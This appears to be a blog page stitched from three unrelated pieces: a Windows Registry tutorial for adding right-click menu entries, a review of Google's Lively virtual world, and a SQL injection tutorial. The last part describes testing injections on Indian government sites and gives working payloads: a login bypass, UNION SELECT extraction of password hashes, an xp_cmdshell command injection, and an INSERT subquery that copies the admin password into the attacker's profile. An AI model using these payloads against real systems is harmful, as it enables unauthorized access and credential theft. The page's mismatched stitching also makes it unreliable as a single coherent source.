A member in my community was Asking Me ..” how 2 add any programs to right click “. So I did some searching and found this great article. Here it Goes –
This document gives step by step instructions for customizing the options that appear on the right-click menu for various file types. I have found this particularly useful for designing and testing web pages.
Typically, before uploading a HTML page, you will want to view it in both Netscape and Internet Explorer, and you may wish to make quick edits using, say, WordPad. To make this easier for myself I have added a “Netscape” and an “Edit” option to the right-click menu for all HTML files, (IE is my default browser). This means I can open HTML files in Internet Explorer, Netscape or WordPad with two clicks, instead of dragging files all over the desktop, or opening applications and doing a “File Open”.

For GIFs and JPEGS, I have also added the Netscape option, and I’ve linked the “Edit” option to my favorite graphics editing program.

Warning
This document discusses editing the Windows Registry. This gives you complete control over the configuration of your menus, but you should be extremely careful not to change Registry values that are used by other applications. The author accepts no responsibility for any problems that may arise as a result of any changes to the Registry, even for those changes outlined in this example.

If you want to avoid modifying the registry directly, many of the changes described here can also be made in Windows Explorer’s “Folder Options” menu. To use this approach, double click “My Computer”, select the “Tools” menu, then “Folder Options”, then the “File Types” tab. From here, you can highlight the file type you wish to change, then click the “Advanced” button to change the menu options that appear for the file type. This won’t give you complete control of every option, but it is probably sufficient for most needs, and it is much less likely to cause problems as a result of accidental changes to the wrong registry keys.

Some Common Questions
Before tackling how to add menu options, here are a few interesting or common questions I’ve received.

Note: I stopped using Windows a few years ago, (I switched to Linux), so I’m afraid I no longer offer help with Windows Registry problems. Please accept this apology if I don’t reply to Windows-related questions.

Question:
“How do I remove unwanted options that appear on right-click menus after installing software?”

Answer:
Usually, all that is required is to remove the appropriate key under the shellexContextMenuHandlers key in HKEY_CLASSES_ROOT for file type “*”. For example:

In the sample shown, deleting “gvim” will remove the right-click options for the GUI Vim program I installed. I’d recommend making a back up of the key data in case you want to put it back in later. If you don’t find the correct ContextMenuHandlers item under “*” you could try looking under specific file extensions. You could also try searching the registry for the text that appears on the menu. When searching, don’t forget to preface any character that is underlined in the menu with an “&”. The ampersand is typically used to identify the character to underline when a menu entry’s text is saved in the registry.

Question:
“Can I add a ‘Search’ option to Internet Explorer’s right-click menu?”

Answer:
I’ve written a script to do just that: http://www.jfitz.com/tips/search.htm

Question:
“Can I disable [insert menu option here] in Internet Explorer’s right-click menu?”

Answer:
Non-standard items can be removed from the MenuExt registry key. This can usually be found here:
HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt

After removing the offending key, restart IE and the menu item should be gone.

With regard to the default behavior of Internet Explorer, (i.e. the menu items that don’t appear in MenuExt) there are a number of restrictions you can place on newer versions of the browser.

One of the best online sources for information about the various options is at:

You can’t specifically disable a single menu item, (at least as far as I’m aware — there may be some undocumented way around it), but you can make the menu go away completely. This might be useful for shared machines in a “public” environment, where changes made through the menu, (such as setting the computer’s background from a web image), could be confusing to other users.

Navigate to:
HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftInternet ExplorerRestrictions

Set a DWORD value:
NoBrowserContextMenu = 1

You can also do this just for specific users if you wish. In this case, make the change under HKEY_CURRENT_USER.

If you export the modified key to a .REG file, (using regedit’s export menu option), you can very quickly copy the change to a number of machines. (.REG files open using regedit when double clicked and apply the registry changes they contain. The files themselves are simply text files — you can verify their contents in notepad or any other editor.)

Modifying the Right-Click Menu

Now on with the show…

First we need to find the location of the program we want to use (Note: You can also get this information from the “Properties” box if you have a shortcut to the program on your desktop. Otherwise…) Click on “Find Files or Folders” in the Start Menu

Search for the program you want to add to the right-click menu Make a note of the folder where the program is found Some common programs you might like to use are: Netscape.exe – Netscape Communicator IExplore.exe – Internet Explorer WordPad.exe – WordPad

From the Start Menu select “Run” Enter “regedit” This runs the Registry Editor

Open the HKEY_CLASSES_ROOT “folder” This opens a long list of file extensions, (.exe, .html, .ini, etc) Following the extension list, extension groups are listed, ( for example “htmlfile” refers to all files with “.htm” and “.html” extensions, “jpegfile” refers to .jpg and .jpeg files, “giffile” refers to .png files) Note: To find the extension group associated with a particular extension, click on the extension and note the value in the “Data” field, (on the right side), for the value named “(Default)”

Select the extension, or extension group you wish to modify – typically, you will want to modify an extension group, rather than an individual extension In this example we want to add a “Netscape” option to all .html and .htm files, so we open the “htmlfile” extension group Note: we could modify each extension separately if we wished

Right click on the “shell” option Select “New” Select “Key”

This creates a new key with a default name

Change the key name to whatever you wish to appear on the right click menu

Now right click on the new key Select “New” Select “Key”

This creates a “subkey” of the key we just created Rename this subkey “command”

Note that in the right hand window the name “Default” and “value not set” appear Double click on the “Default”, (or the small “ab” icon to the left) This brings up an Edit window which is used to set the default value

The “value” to enter is the name of the program to run The format of the value field is: FOLDERNAMEPROGRAMNAME “%1” In this example its: E:Program FilesNetscapeCommunicatorProgramNetscape.exe “%1” Note: When we use the new menu option, “%1” is replaced with the name of the file we clicked on. This tells Netscape which file to open

Click “OK” to set the default value This completes the process – Right clicking on any “htmlfile” will now have a “Netscape” option that opens the selected file in Netscape

You can add as many right click options as you wish In this example, an “Edit” command has also been added which will open the file using WordPad

Note that the menu options are listed in the order in which they were created The simplest way to reorder the options is to rename the option that you want to appear at the end of the list

To rename a menu option, right click on the key in the Registry Editor and select “Rename”

Rename the key to a temporary name, then rename it back to its original

In the above case, we renamed the “Netscape” option and it now appears below the “Edit” option Note that you can remove the menu item by deleting the key in the Registry Editor The “Delete” option is directly above the “Rename” option Note that to delete the “Netscape” key, you must first delete its “command” subkey

Google has just released its own virtual world: Lively. Lively is available through a browser plugin for Firefox and Internet Explorer. It is Windows only for now. Lively does not feature one coherent world like Second Life but splits worlds up into different rooms. Lively was originally developed as a 20% project my Niniane Wang.

Lively runs completely in the browser and you use your Google account to log in and create your own avatars. Within the world, you can interact with other users, very much like you would do in Second Life. You can also watch YouTube clips on virtual TVs and share your own photos.

Users can chose from a number of preset animations for their characters, ranging from shaking hands with others, to applauding, crying, etc. By double clicking on certain items in the virtual world, users can also often activate some preset animations such as sitting down on a chair or jumping off a dive board.

Setting the plugin up and creating an avatar is a very simple process. Creating rooms, too, seems quite easy, as you can quickly import a number of templates to get started. Currently, all virtual items for Lively are for free, but chances are that Google will start charging for premium items in the future.

For now, the content in Lively is being created only by Google, though over time, they are planning to allow users to start creating their own content as well.

Rooms can be easily embedded into any webpage and worlds often launch with a basic skeleton of the room within just a few seconds.

Graphically, Lively runs very smooth on our test machine here and the visuals, while not comparable to a modern game, are not too bad either. Interestingly, there is no first-person view available, instead, the world is always seen from a camera perspective the user can control.

One area where Lively could definitely needs some improvement is in how users move their avatars around the rooms. To move an avatar, users basically have to drag them through the room, while most people we have met in Lively have commented that they expected to see a more game-like approach where users use the keyboard to move avatars through the rooms.

Second Life users might find the Lively rooms and the amount of customization they can do to them rather restricted – however, Google’s idea seems to be less to create one large virtual world, but to give publishers an opportunity to create their own small virtual world for their readers and visitors.

It’s interesting to see Google moving into this space. There have always been rumors that Google might be working on a similar product for Google Earth. As of now, the rooms in Lively are compartmentalized and there is no way to move or communicate from one room to another, but given that this is only a first release, this might (hopefully) change over time.

A friend of mine at College was asking me this.
SQL injection is the most common and videly used exploit by hackers all over the world…few days back i was just doing some SQL injection test on Indian govt sites, I was shocked to see how many imp govt sites r open to it….this is a big thread for us…a malicious hacker can do a lot of harm if he wish to.

Vocabulary:

* SQL: Server Query Language-used in web applications to interact with databases.
* SQL Injection: Method of exploiting a web application by supplying user input designed to manipulate SQL database queries.
* “Injection”: You enter the injections into an html form which is sent to the web application. The application then puts you input directly into a SQL query. In advertantly, this allows you to manipulate to query…

Prerequisite:

* A background of programming and a general idea of how most hacking methods are done.

Application:

* Hacking a SQL database-driven server (usually only the ones that use unparsed user input in database queries). There is still a surprising number of data-driven web applications on the net that are vulnerable to this type of exploit. Being as typical as all method, the frequency of possible targets decreases over time as the method becomes more known. This is one those exploits that aren’t easily prevented by a simple patch but by a competent programmer.

Use:
First, let’s look at a typical SQL query:
SELECT fieldName1, fieldName2 FROM databaseName WHERE restrictionsToFilterWhichEntriesToReturn

Now, to dissect…
The red areas is where criterion is inputed. The rest of the query structures the query.

* SELECT fieldName1, fieldName2 – Specifies the of the names of fields that will be returned from the database.
* FROM databaseName – Specifies the name of the database to search.
* WHERE restrictionsToFilterWhichEntriesToReturn – Specifies which entries to return.

Here is an example for somebody’s login script:

SELECT userAcessFlags FROM userDatabase WHERE userName=”(input here)” AND userPass=”(input here)“

The idea is guess what that application’s query looks like and input things designed to return data other than what was intended.

In the example, input like the following could give gain access to the administrator account:

User: administrator
Pass: ” OR “”=”

Making the query like this:

SELECT userAcessFlags FROM userDatabase WHERE userName=”administrator” AND userPass=”” OR “”=”“

As you can see, “”=”” (nothing does indeed match nothing)
Note: Injections are rarely as simple as this…

One can be creative and use error messages to your advantadge to access other databases, fields, and entries. Learn a little SQL to use things like UNION to merges query results with ones not intended.On the security side, parse user data and get rid of any extra symbols now that you know how it’s done.

The idea in this example is to break out of the quotation marks.
When stuff is inside quotation marks, the stuff isn’t processed as code or anything but as a phrase and what it is.

The password injection was: “ OR “”=“
What this does is close the string that was started by the quotation mark in the part userPass=”. Once you break out, THEN stuff is considered code. So, I put OR “”=” after I break out of the string. You will notice that it is comparing two quotation marks with one, but the quotation mark already built in by the application finishes it so we have this:
userPass=”” OR “”=””
Notice how the first and last quotation marks are not colored and are not built in.

Additional notes:
This was just an extremely simplified version and you will probably need to learn a little SQL to fully understand.

Here are a few SQL terms that do other things:
UNION: You use this to merge the results of one query with another. You may put things like SELECT after UNION in order to search other databases and stuff. Sometimes you may need to use ALL in conjuction to break out of certain clauses. It does no harm so when in doubt you could do something like:
” UNION ALL SELECT 0,”,’hash’ FROM otherDatabase WHERE userName=”admin
The key when using UNION is to make your new query return the same amount of columns in the same datatype so that you may get the results you want.

:– This works sometimes to terminate the query so that it ignores to the rest of the stuff that might be fed afterwards if you don’t like it. For example:
SELECT * FROM userDatabase WHERE userName=”admin”;–” AND userPass=”aH0qcQOVz7e0s”

NOT IN: If you have no idea which record you want you could record cycle (you request vague info, and you put what you already got in the NOT IN clause so that you can get the next entry)
Usage:
SELECT userName userPass FROM userDatabase WHERE userName NOT IN (‘Dehstil’,’Twistedchaos’)

EXEC: This command should never work, but if it does…you win; you could do anything. For instance, you could inject something like this:
‘;EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:

All my examples so far have dealt with read processes. To manipulate a write process, here is an example for those who know what their doing:
INSERT INTO userProfile VALUES(”+(SELECT userPass FROM userDatabase WHERE userName=’admin’)+” + ‘Chicago’ + ‘male’)
This example would theoretically put the admin’s password in your profile.